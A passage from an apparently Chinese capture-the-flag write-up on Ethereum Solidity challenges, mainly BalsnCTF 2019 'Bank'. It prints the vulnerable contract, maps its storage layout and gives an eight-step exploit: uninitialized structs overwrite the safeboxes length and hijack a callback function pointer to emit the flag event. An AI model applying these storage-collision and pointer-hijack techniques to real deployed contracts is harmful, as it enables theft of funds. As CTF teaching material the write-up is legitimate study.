balance[msg.sender] -= 0xb1b1;
}
}
function buy_own() public
{
require(balance[msg.sender]>1000000);
balance[msg.sender]=0;
owner_3=msg.sender;
}
}
很直白,先画一个eth买owner1,然后再花一个eth,调用cov,进入else,fff没初始化,搞到owner2,然后算个后缀,整数溢出买owner3.
bank
代码
pragma solidity ^0.4.24;
contract Bank {
event SendEther(address addr);
event SendFlag(address addr);
address public owner;
uint randomNumber = 0;
constructor() public {
owner = msg.sender;
}
struct SafeBox {
bool done;
function(uint, bytes12) internal callback;
bytes12 hash;
uint value;
}
SafeBox[] safeboxes;
struct FailedAttempt {
uint idx;
uint time;
bytes12 triedPass;
address origin;
}
mapping(address => FailedAttempt[]) failedLogs;
modifier onlyPass(uint idx, bytes12 pass) {
if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
FailedAttempt info;
info.idx = idx;
info.time = now;
info.triedPass = pass;
info.origin = tx.origin;
failedLogs[msg.sender].push(info);
}
else {
_;
}
}
function deposit(bytes12 hash) payable public returns(uint) {
SafeBox box;
box.done = false;
box.hash = hash;
box.value = msg.value;
if (msg.sender == owner) {
box.callback = sendFlag;
}
else {
require(msg.value >= 1 ether);
box.value -= 0.01 ether;
box.callback = sendEther;
}
safeboxes.push(box);
return safeboxes.length-1;
}
function withdraw(uint idx, bytes12 pass) public payable {
SafeBox box = safeboxes[idx];
require(!box.done);
box.callback(idx, pass);
box.done = true;
}
function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
msg.sender.transfer(safeboxes[idx].value);
emit SendEther(msg.sender);
}
function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
selfdestruct(owner);
}
}
分析
这题就很好玩了,是balsnctf2019的题目。
题目的漏洞点很明显,就是两个结构体变量的未初始化,可以修改storage里面的内容。
合约的slot存储布局如下:
-----------------------------------------------------
| unused (12) | owner (20) | <- slot 0
-----------------------------------------------------
| randomNumber (32) | <- slot 1
-----------------------------------------------------
| safeboxes.length (32) | <- slot 2
-----------------------------------------------------
| occupied by failedLogs but unused (32) | <- slot 3
-----------------------------------------------------
safebox存储布局如下:
-----------------------------------------------------
| unused (11) | hash (12) | callback (8) | done (1) |
-----------------------------------------------------
| value (32) |
-----------------------------------------------------
faillog存储布局如下:
-----------------------------------------------------
| idx (32) |
-----------------------------------------------------
| time (32) |
-----------------------------------------------------
| origin (20) | triedPass (12) |
-----------------------------------------------------
对于数组,假设数组所在的slot为x,那么slotx为数组的长度,下标i的元素存储的slot为:keccak(x) + i,当然需要考虑数组元素的大小。
对于字典,假设字典所在的slot为x,那么key为k的元素所在的slot为:keccak(k,x).
进入deposot函数,可以控制slot0-slot1,但是改变owner和random没有意义,因为最终要调用的sendflag函数需要的ether太大。
如果我们进入pass函数,触发faillog分支,那么就可以控制slot0-slot2。
前面分析了,slot0和slot1改变没有意义,那么剩下可选的只有slot2,slot2中存储的是safebox数组的长度,我们可以将其改成一个很大的值,如果tx.origin是一个很大的数字,那么我们就可以使得safebox数组溢出到faillog字典。
溢出到faillog字典后,将callback函数改成emit SendFlag(msg.sender);
的地址,就可以触发这一事件拿到flag。
这里还有一点需要提的是,evm中间接跳转的地址的指令必须是一个jumpdest,这个需要在反汇编工具中找一下具体是哪个地址。
攻击流程:
- Calculate
target = keccak256(keccak256(msg.sender||3)) + 2
. - Calculate
base = keccak256(2)
. - Calculate
idx = (target - base) // 2
. - If
(target - base) % 2 == 1
, thenidx += 2
, and do step 7 twice. This happens when thetriedPass
of the first element offailedLogs
does not overlap with thecallback
variable, so we choose the second element instead. - If
(msg.sender << (12*8)) < idx
, then choose another player account, and restart from step 1. This happens when the overwritten length ofsafeboxes
is not large enough to overlap withfailedLogs
. - Call
deposit(0x000000000000000000000000)
with 1 ether. - Call
withdraw(0, 0x111111111111110000070f00)
. - Call
withdraw(idx, 0x000000000000000000000000)
, and theSendFlag
event will be emitted.
注意,chainflag的版本和原题不同,最终的70f这一个地址需要自己找到底是在哪个位置。